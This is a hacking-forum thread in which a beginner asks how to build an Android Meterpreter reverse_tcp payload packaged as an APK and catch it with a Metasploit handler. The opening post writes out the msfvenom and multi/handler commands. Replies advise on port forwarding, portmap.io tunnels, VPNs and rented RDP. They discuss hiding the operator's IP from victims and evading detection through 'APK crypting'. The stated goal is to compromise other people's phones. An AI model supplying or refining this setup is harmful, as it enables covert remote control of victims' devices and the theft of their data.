Thread: [portmap dot io!](#)

SaritaSola - July 22, 2025, 7:06 pm

hello guys it is me again

okay i have learnt that to make a reverse_tcp payload
we need a port and an active ip...
thats why i wasnt able to run it on my kali visualbox

now a friend just informed me about a way to make the payload that way...

you go to msvenom... -p android/meterpreter/reverse_tcp lhost= ?????? lport ????? R> hgd.apk

>>

then i go to msfconsole and make

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport ?????
then we do run

....

okay here is the point, they are saying i must go to portmap.io and download a vpn, change my ip, add the new ip settings to the portmap, they will give me a new ip and ports and i use them while making the payload, is that true? or will i get nothing since i will use a fake ip?

DeathPenalty666 - July 22, 2025, 7:30 pm

if you used your real public ip and it wasnt working, its probably a port forwarding problem. using a public vpn ip wont help at all. Have you tried first at all to run a port scan on your first config? if portforwarding is the issue whatever you do wont help at all unless to have a vpn with port forwarding...

i dont know if what i say is clear but i can picture it to you to be. with my vpn i have dedi ip and port forwarding, if i use the vpn app on the dedi with pf i get connection to all my clients, if i use any other method i dont have any internet connection. My isp blocking some ports, even with port forwarding done i always have some port blocked.

using a shared vpn ip wont help you

Portmap.io isn't a VPN; it's a legitimate traffic redirection service. The directions are confusing and inaccurate, but portmap isn't what you think it is. It's used to bypass NAT and hide the real IP address to avoid prison. 'Cept Portmap certainly keeps logs, monitors for malicious activity, and can see your IP address. I think that it's hardly better than raw-dogging the C2 on your public IP address.

SaritaSola - July 22, 2025, 7:46 pm

i dont know if what i say is clear but i can picture it to you to be. with my vpn i have dedi ip and port fowarding, if i use the vpn app on the dedi with pf i get connection to all my clients, if i use any other method i dont have any income connection. My isp blocking some ports, even with port fowarding done i alway have some port blocked.

using a shared vpn ip wont help you

i'm lost moe and more, is that going to work or not haha

DramaKing - July 22, 2025, 7:46 pm

P.S. If I haven't mentioned this to you before, Meterpreter for Android isn't going to work, and Rapid7 is unlikely to give Meterpreter the update needed to keep it working.

SaritaSola - July 22, 2025, 7:48 pm

so the portmap is just a site to hide my real ip address when i hack soeone

DramaKing - July 22, 2025, 7:52 pm

I'm not sure that OP understands with public IPs or port forwarding.

Portmap.io is used to bypass NAT. That's exactly what it's for.

With a VPN, it doesn't matter what ports your ISP blocks, so long as the VPN connects.

DramaKing - July 22, 2025, 7:52 pm

(Jul 22, 2025 07:48 PM)SaritaSola Wrote: [\[CITE\]](#) so the portmap is just a site to hide my real ip address when i hack soeone

From the victim. Not from portmapper itself. Not from law enforcement.

(Jul 22, 2025 07:52 PM)arlalala01 Wrote: [\[CITE\]](#) if 50 people use the same ip as you, and 17 use the same port as you there is no way this gonna work!

If you cant get it working using your real public ip, using a vpn only wont solve your issue! It's a port forwarding issue, your isp blicking some ports or the problem is in your ocnfig.

Portmap.io gives a unique URL and port number.

SaritaSola - July 22, 2025, 7:55 pm

(Jul 22, 2025 07:52 PM)DramaKing Wrote: [\[CITE\]](#) From the victim. Not from portmapper itself. Not from law enforcement.

Portmap.io gives a unique URL and port number.
so it is useles!!!

(Jul 22, 2025 07:52 PM)arlalala01 Wrote: [\[CITE\]](#) if 50 people use the same ip as you, and 17 use the same port as you there is no way this gonna work!

so my app may fail

DramaKing - July 22, 2025, 7:59 pm

(Jul 22, 2025 07:55 PM)SaritaSola Wrote: [\[CITE\]](#) so it is useles!!!

so my app may fail

Learn to use cloud infrastructure to host servers or forward ports.

And "your app" will fail anyway because Android won't allow it to run, and you don't know advanced APK crypting techniques.

DeathPenalty666 - July 22, 2025, 8:04 pm

PERSONALLY!!! i would suggest you to get it working first at all on your own device using your own real public ip. Nmap is your friend all the way, telling you what tcp/udp port is open or closed. i like to use whatsmyip dot org portscanner (ONLY TCP) to get a quick overview. if you get timed out instead of OPEN/closed something is blocking the connection.

DramaKing - July 22, 2025, 8:07 pm

I could port forward through a router to a host and to a VBox guest, but it's complicated.

SaritaSola - July 23, 2025, 1:24 am

so, is making a forward ports will hide my ip from only the target not the goverment and others right?

and what i have to do to get my payload run?

(Jul 22, 2025 08:04 PM)arlalala01 Wrote: [\[CITE\]](#) PERSONALLY!!! i would suggest you to get it working first at all on your own device using your own real public ip. i'm already trying on my own devices, coz i have to turn off google play protect, uninstall all the antivirus , and allow installing from unknown resources etc....

theres no any target who is gonna help me and turn them all off

DramaKing - July 23, 2025, 5:35 am

For testing, just go to portforward.com, look up your router, and follow the instructions. You also got the Kali VM working? Follow this, too: <https://www.virtualbox.org/manual/ch06.html>.

i have kali coding mode installed without visual machine on win 11

i have looked for portforward, but well it costs 70% of my monthly salary , sure not gonna pay that much just to test something if it is gonna work with me

DramaKing - July 23, 2025, 5:57 am

(Jul 23, 2025 05:38 AM)SaritaSola Wrote: [\[CITE\]](#) i have kali coding mode installed without visual machine on win 11

I have no idea what that is unless it's WSL. I can tell you that getting a forwarded port or bridging network adapters requires, or at least used to require, a quite difficult workaround.

(Jul 23, 2025 05:38 AM)SaritaSola Wrote: [\[CITE\]](#) i have looked for portforward, but well it costs 70% of my monthly salary , sure not gonna pay that much just to test something if it is gonna work with me

Oof, sorry to hear that. But I wouldn't tell you to buy anything. I was telling you to look for the relevant guide on the website.

thats okay, i know, i just checked it...

and about the kali, it is graphical system, i'm using it with the encode operation system, just the kali terminal.

and it is running on the windows 11, but when i do ifconfig it gives me another ip, i dont know why, but anyway it just fine

now i'm at try to hack me they are going through the metasploit lessons...

at the 2nd lesson i stopeed at the trees...

they write a command line starting with /opt/metasploit/...etc

wheni write that in the terminal and with the root it gives no thing

```
++(root?DESKTOP-2ONB9B4)-[~]
```

```
+ -# /opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary
```

```
bash: /opt/metasploit-framework/embedded/framework/modules#: No such file or directory
```

so i'm stucking at that one

I dont know why those people waste your time so much with nonsense info.

Just buy CrazyRDP or any other RDP service where all ports open and use it freely without any worry about port forwarding or other bullshit those guys put in your head haha

if i was about to buy i wsnot going to come here to learn, i decided to learn python , java, metasploit, kali, and i already know some basics of visual basic , and i used to use the cmd orders , so i'm trying to learn nt to buy, i want to make something makes sense, what i will win if i just bought it, i'm nt planning to use them fo rany thing but to study, maybe i work in that field one day

all that i do is just trying and checking if i can, i'm not in need of doing that for purpose

Chornaya Magiya - July 25, 2025, 9:10 am

RDP is so u have open ports without risk on your current OS. It doesn't give u anything else lmao. Its so u can work freely without worry of any harm or dox or etc on your network, devices etc
